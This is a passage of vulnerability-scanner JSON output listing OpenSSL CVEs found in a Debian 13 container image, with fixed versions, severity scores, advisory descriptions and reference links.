"https://access.redhat.com/security/cve/CVE-2026-28388", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e", "https://github.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139", "https://github.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3", "https://github.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8", "https://github.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726", "https://nvd.nist.gov/vuln/detail/CVE-2026-28388", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28388", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.863Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28389", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl@3.5.4-1~deb13u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "c9e1403630020f0a" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28389", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:07b67e6d99858ca3d7250fb25d1c7bdfab3aaf7db3f1c988eed099fbfb1fb6b9", "Title": "openssl: OpenSSL: Denial of Service vulnerability in CMS processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyAgreeRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is\nprocessed, the optional parameters field of KeyEncryptionAlgorithmIdentifier\nis examined without checking for its presence. This results in a NULL\npointer dereference if the field is missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28389", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/advisories/GHSA-7x88-9hgc-69gf", "https://github.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5", "https://github.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616", "https://github.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f", "https://github.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a", "https://github.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686", "https://nvd.nist.gov/vuln/detail/CVE-2026-28389", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28389", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.03Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28390", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl@3.5.4-1~deb13u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "c9e1403630020f0a" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28390", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f749359667b7b93eadc56108e1e24c4f7e2dbb77a93c2a1223a2ef129fdc74bf", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in CMS EnvelopedData processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyTransportRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyTransportRecipientInfo with\nRSA-OAEP encryption is processed, the optional parameters field of\nRSA-OAEP SourceFunc algorithm identifier is examined without checking\nfor its presence. This results in a NULL pointer dereference if the field\nis missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22312", "https://access.redhat.com/errata/RHSA-2026:22313", "https://access.redhat.com/security/cve/CVE-2026-28390", "https://bugzilla.redhat.com/2456314", "https://bugzilla.redhat.com/show_bug.cgi?id=2456314", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28390", "https://errata.almalinux.org/9/ALSA-2026-22313.html", "https://errata.rockylinux.org/RLSA-2026:22312", "https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc", "https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6", "https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4", "https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788", "https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75", "https://linux.oracle.com/cve/CVE-2026-28390.html", "https://linux.oracle.com/errata/ELSA-2026-50345.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-28390", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28390", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.19Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-45447", "VendorIDs": [ "DSA-6335-1" ], "PkgID": "openssl@3.5.4-1~deb13u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "c9e1403630020f0a" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.6-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45447", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4b3429430e118e8824d3339926390e64636a46719ecf8cfb145308600067895c", "Title": "openssl: Heap Use-After-Free in OpenSSL PKCS7_verify()", "Description": "Issue summary: A specially crafted PKCS#7 or S/MIME signed message could\ntrigger a use-after-free during PKCS#7 signature verification.\n\nImpact summary: A use-after-free may result in process crashes, heap\ncorruption, or potentially remote code execution.\n\nWhen processing a PKCS#7 or S/MIME signed message, if the SignedData\ndigestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may\nincorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent\nuse of the BIO by the calling application results in a use-after-free\ncondition.\n\nIn the common case this occurs when the application later calls\nBIO_free() on the BIO originally passed to PKCS7_verify(). Depending\non allocator behavior and application-specific BIO usage patterns, this\nmay result in a crash or other memory corruption. In some application\ncontexts this may potentially be exploitable for remote code execution.\n\nApplications that process PKCS#7 or S/MIME signed messages using OpenSSL\nPKCS#7 APIs may be affected. Applications using the CMS APIs for this\nprocessing are not affected.\n\nThe FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "julia": 3, "oracle-oval": 2, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25237", "https://access.redhat.com/errata/RHSA-2026:25239", "https://access.redhat.com/errata/RHSA-2026:26275", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:34102", "https://access.redhat.com/errata/RHSA-2026:35869", "https://access.redhat.com/errata/RHSA-2026:36215", "https://access.redhat.com/errata/RHSA-2026:36217", "https://access.redhat.com/errata/RHSA-2026:39009", "https://access.redhat.com/errata/RHSA-2026:39012", "https://access.redhat.com/errata/RHSA-2026:39981", "https://access.redhat.com/errata/RHSA-2026:44438", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:58563", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:66524", "https://access.redhat.com/security/cve/CVE-2026-45447", "https://bugzilla.redhat.com/2481898", "https://bugzilla.redhat.com/show_bug.cgi?id=2481879", "https://bugzilla.redhat.com/show_bug.cgi?id=2481880", "https://bugzilla.redhat.com/show_bug.cgi?id=2481881", "https://bugzilla.redhat.com/show_bug.cgi?id=2481882", "https://bugzilla.redhat.com/show_bug.cgi?id=2481884", "https://bugzilla.redhat.com/show_bug.cgi?id=2481885", "https://bugzilla.redhat.com/show_bug.cgi?id=2481887", "https://bugzilla.redhat.com/show_bug.cgi?id=2481890", "https://bugzilla.redhat.com/show_bug.cgi?id=2481891", "https://bugzilla.redhat.com/show_bug.cgi?id=2481892", "https://bugzilla.redhat.com/show_bug.cgi?id=2481893", "https://bugzilla.redhat.com/show_bug.cgi?id=2481894", "https://bugzilla.redhat.com/show_bug.cgi?id=2481896", "https://bugzilla.redhat.com/show_bug.cgi?id=2481897", "https://bugzilla.redhat.com/show_bug.cgi?id=2481898", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34181", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42764", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42767", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42768", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42769", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42770", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45445", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45446", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45447", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-7383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9076", "https://errata.almalinux.org/9/ALSA-2026-44438.html", "https://errata.rockylinux.org/RLSA-2026:25239", "https://github.com/advisories/GHSA-f684-cpcq-j565", "https://github.com/openssl/openssl/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/openssl/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/openssl/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/openssl/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/openssl/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://github.com/openssl/security/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/security/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/security/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/security/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/security/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://linux.oracle.com/cve/CVE-2026-45447.html", "https://linux.oracle.com/errata/ELSA-2026-50379.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-45447", "https://openssl-library.org/news/secadv/20260609.txt", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45447.json", "https://ubuntu.com/security/notices/USN-8414-1", "https://ubuntu.com/security/notices/USN-8414-2", "https://www.cve.org/CVERecord?id=CVE-2026-45447" ], "PublishedDate": "2026-06-09T17:17:19.277Z", "LastModifiedDate": "2026-09-18T13:18:26.343Z" }, { "VulnerabilityID": "CVE-2026-84782", "VendorIDs": [ "DSA-6531-1" ], "PkgID": "openssl@3.5.4-1~deb13u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "c9e1403630020f0a" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.7-1~deb13u3", "Status": "fixed", "Layer": { "DiffID": "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84782", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1efe76a3f550e132db92ef1c076ac45f491ea3ad197f73f8fc39940705bf0260", "Title": "openssl: compat-openssl: openssl: Information disclosure via DTLS handshake retransmission", "Description": "Issue summary: The DTLS retransmission logic does not correctly handle\na handshake message write that is suspended part-way through.\nThe retransmitted message can be read past the message buffer and\nthe retransmission overwrites the internal state the suspended write\nneeds to resume correctly.\n\nImpact summary: The retransmitted message can disclose a heap memory\nto the peer as plaintext handshake data or cause a crash and a Denial\nof Service when the read reaches an unmapped memory region.\n\nCWE: CWE-125: Out-of-bounds Read\n\nDescription: DTLS handshake messages can be written out in multiple\nfragments, and a write can suspend mid-message (returning WANT_WRITE)\nif the underlying transport temporarily cannot accept more data. While\nsuch a write is suspended, the DTLS retransmission timer may\nindependently fire and ask the retransmission logic to resend an\nearlier, already-acknowledged-as-sent message from its retransmit\nqueue.\n\nThe retransmission logic reused the same internal buffer and position\ntracking as the message that was still being written, without\nresetting the position back to the start of the message being\nretransmitted. As a result the retransmission was read starting from\nwherever the suspended write had left off, producing a mislabelled\nmessage whose body was leftover bytes from the other, larger message\nstill in flight - content that was never meant to be sent at that\npoint, and which could run past the end of the allocated buffer.\n\nSeparately, even when the retransmission is positioned correctly,\nallowing it to run to completion while another write is suspended\noverwrites the same shared bookkeeping that the suspended write\ndepends on to resume. When the application later resumes the\nsuspended write (via a subsequent SSL_read(), SSL_write(),\nSSL_accept(), or SSL_connect() call), it finds that bookkeeping in a\nstate inconsistent with the message and aborts the process in\na debugging build.\n\nThe fix resets the retransmission's read position to the start of the\nmessage before resending, and skips retransmission entirely whenever a\nhandshake write is still suspended, deferring to the next call that\nresumes it instead.\n\nFIPS impact: no\nThe affected code is outside the FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77396", "https://access.redhat.com/errata/RHSA-2026:80514", "https://access.redhat.com/security/cve/CVE-2026-84782", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2537080", "https://bugzilla.redhat.com/show_bug.cgi?id=2537080", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-84782", "https://errata.almalinux.org/9/ALSA-2026-80514.html", "https://errata.rockylinux.org/RLSA-2026:77396", "https://github.com/openssl/openssl/commit/906cf0ef1c85ca40ce69163e9086d6d3fe292943", "https://github.com/openssl/openssl/commit/9f6b34422af7eb5dac61322e33dac1ae989fa628", "https://github.com/openssl/openssl/commit/a383dafdd754eb5b22bf45e37e1bff9d07277a58", "https://github.com/openssl/openssl/commit/d951e02ede8f6a6ff8150546db44b34f0518192c", "https://linux.oracle.com/cve/CVE-2026-84782.html", "https://linux.oracle.com/errata/ELSA-2026-85968.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-84782", "https://openssl-library.org/news/secadv/20260929.txt", "https://openssl-library.org/news/vulnerabilities/#CVE-2026-84782", "https://ubuntu.com/security/notices/USN-8847-1", "https://ubuntu.com/security/notices/USN-8847-2", "https://www.cve.org/CVERecord?id=CVE-2026-84782" ], "PublishedDate": "2026-09-29T16:17:12.5Z", "LastModifiedDate": "2026-10-08T01:20:56.003Z" }, { "VulnerabilityID": "CVE-2026-31789", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl-provider-legacy@3.5.4-1~deb13u2", "PkgName": "openssl-provider-legacy", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl-provider-legacy@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "adffbb29b78f8e69" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31789", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c961a669058f4185cfec7a6e0c643f0f638a067d8703ffb407bb786032c0cab5", "Title": "openssl: OpenSSL: Heap buffer overflow on 32-bit systems from large X.509 certificate processing", "Description": "Issue summary: Converting an excessively large OCTET STRING value to\na hexadecimal string leads to a heap buffer overflow on 32 bit platforms.\n\nImpact summary: A heap buffer overflow may lead to a crash or possibly\nan attacker controlled code execution or other undefined behavior.\n\nIf an attacker can supply a crafted X.509 certificate with an excessively\nlarge OCTET STRING value in extensions such as the Subject Key Identifier\n(SKID) or Authority Key Identifier (AKID) which are being converted to hex,\nthe size of the buffer needed for the result is calculated as multiplication\nof the input length by 3. On 32 bit platforms, this multiplication may overflow\nresulting in the allocation of a smaller buffer and a heap buffer overflow.\n\nApplications and services that print or log contents of untrusted X.509\ncertificates are vulnerable to this issue. As the certificates would have\nto have sizes of over 1 Gigabyte, printing or logging such certificates\nis a fairly unlikely operation and only 32 bit platforms are affected,\nthis issue was assigned Low severity.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "CRITICAL", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "julia": 4, "nvd": 4, "photon": 4, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H", "V3Score": 5.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31789", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://github.com/advisories/GHSA-j79m-9jxq-788r", "https://github.com/openssl/openssl/commit/364f095b80601db632b0def6a33316967f863bde", "https://github.com/openssl/openssl/commit/7a9087efd769f362ad9c0e30c7baaa6bbfa65ecf", "https://github.com/openssl/openssl/commit/945b935ac66cc7f1a41f1b849c7c25adb5351f49", "https://github.com/openssl/openssl/commit/a24216018e1ede8ff01a4ff5afff7dfbd443e2f9", "https://github.com/openssl/openssl/commit/a91e537d16d74050dbde50bb0dfb1fe9930f0521", "https://nvd.nist.gov/vuln/detail/CVE-2026-31789", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://www.cve.org/CVERecord?id=CVE-2026-31789", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.617Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-14456", "VendorIDs": [ "DSA-6465-1" ], "PkgID": "openssl-provider-legacy@3.5.4-1~deb13u2", "PkgName": "openssl-provider-legacy", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl-provider-legacy@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "adffbb29b78f8e69" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.7-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14456", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:30dac5a2404ad3d7aa78e89b65f3f5c4425c3f2f1fc68ea5f7380fc483d25d14", "Title": "openssl: OpenSSL: Denial of Service via unbounded memory growth in QUIC server", "Description": "Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes\nvalid QUIC Initial packets for unknown destination connection IDs, it\ncan allocate and queue new incoming channels without enforcing any limit.\n\nImpact summary: A remote peer that can make many Initial packets reach the\nserver listener faster than the application accepts connections, can cause the\nmemory allocated to store the per-channel state to grow without any limits,\npotentially making the QUIC listener unavailable and causing Denial of Service.\n\nCWE: CWE-770: Allocation of Resources Without Limits or Throttling\n\nDescription: The function that handles inbound QUIC packets uses\nConnection-Id from the packet header to find an existing connection\n(QUIC channel). If no existing connection is found and the packet\ntype is INITIAL, the function treats the packet as a new connection. It\nallocates a new channel object and inserts it into a queue where it\nwaits to be accepted by the local application with SSL_accept(3ossl).\nThe memory occupied by these initial channel objects may grow\nwithout bounds if the application is not able to call SSL_accept()\nfrequently enough to serve these inbound connection requests.\n\nThe issue is present since OpenSSL 3.5 when the QUIC server implementation\nwas added.\n\nThe fix introduces a limit for pending connections. The default limit is set\nto 256 pending connections (waiting to be accepted by the local application).\nApplications may change the default by calling SSL_set_value_uint(3ossl).\n\nFIPS impact: no\nThe FIPS module is not affected as the QUIC implementation is outside of\nthe OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/13/4", "https://access.redhat.com/errata/RHSA-2026:67165", "https://access.redhat.com/security/cve/CVE-2026-14456", "https://bugzilla.redhat.com/2515348", "https://bugzilla.redhat.com/2517559", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2517561", "https://bugzilla.redhat.com/2517562", "https://bugzilla.redhat.com/2517564", "https://bugzilla.redhat.com/2517565", "https://bugzilla.redhat.com/2517566", "https://bugzilla.redhat.com/2517570", "https://bugzilla.redhat.com/show_bug.cgi?id=2515348", "https://bugzilla.redhat.com/show_bug.cgi?id=2517559", "https://bugzilla.redhat.com/show_bug.cgi?id=2517560", "https://bugzilla.redhat.com/show_bug.cgi?id=2517561", "https://bugzilla.redhat.com/show_bug.cgi?id=2517562", "https://bugzilla.redhat.com/show_bug.cgi?id=2517564", "https://bugzilla.redhat.com/show_bug.cgi?id=2517565", "https://bugzilla.redhat.com/show_bug.cgi?id=2517566", "https://bugzilla.redhat.com/show_bug.cgi?id=2517570", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14457", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18798", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54874", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63074", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63076", "https://errata.almalinux.org/9/ALSA-2026-67165.html", "https://errata.rockylinux.org/RLSA-2026:67165", "https://github.com/openssl/openssl/commit/08e7756c3900bcfd77a720e7b74e27d6e4ed01a9", "https://github.com/openssl/openssl/commit/4084152e040329ca0194c4c1750b9b46d00a5b6b", "https://github.com/openssl/openssl/commit/f2f1465f2d2e5c61dfeac4d20fd093797d821139", "https://linux.oracle.com/cve/CVE-2026-14456.html", "https://linux.oracle.com/errata/ELSA-2026-67165-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14456", "https://openssl-library.org/news/secadv/20260813.txt", "https://ubuntu.com/security/notices/USN-8678-1", "https://www.cve.org/CVERecord?id=CVE-2026-14456" ], "PublishedDate": "2026-08-13T15:19:31.82Z", "LastModifiedDate": "2026-11-06T20:26:36.04Z" }, { "VulnerabilityID": "CVE-2026-28387", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl-provider-legacy@3.5.4-1~deb13u2", "PkgName": "openssl-provider-legacy", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl-provider-legacy@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "adffbb29b78f8e69" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28387", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ff625f9ffd9b90454eb17af300c3c11c47c33b491d67d2149dff040383d87ed4", "Title": "openssl: OpenSSL: Arbitrary code execution due to use-after-free in DANE TLSA authentication", "Description": "Issue summary: An uncommon configuration of clients performing DANE 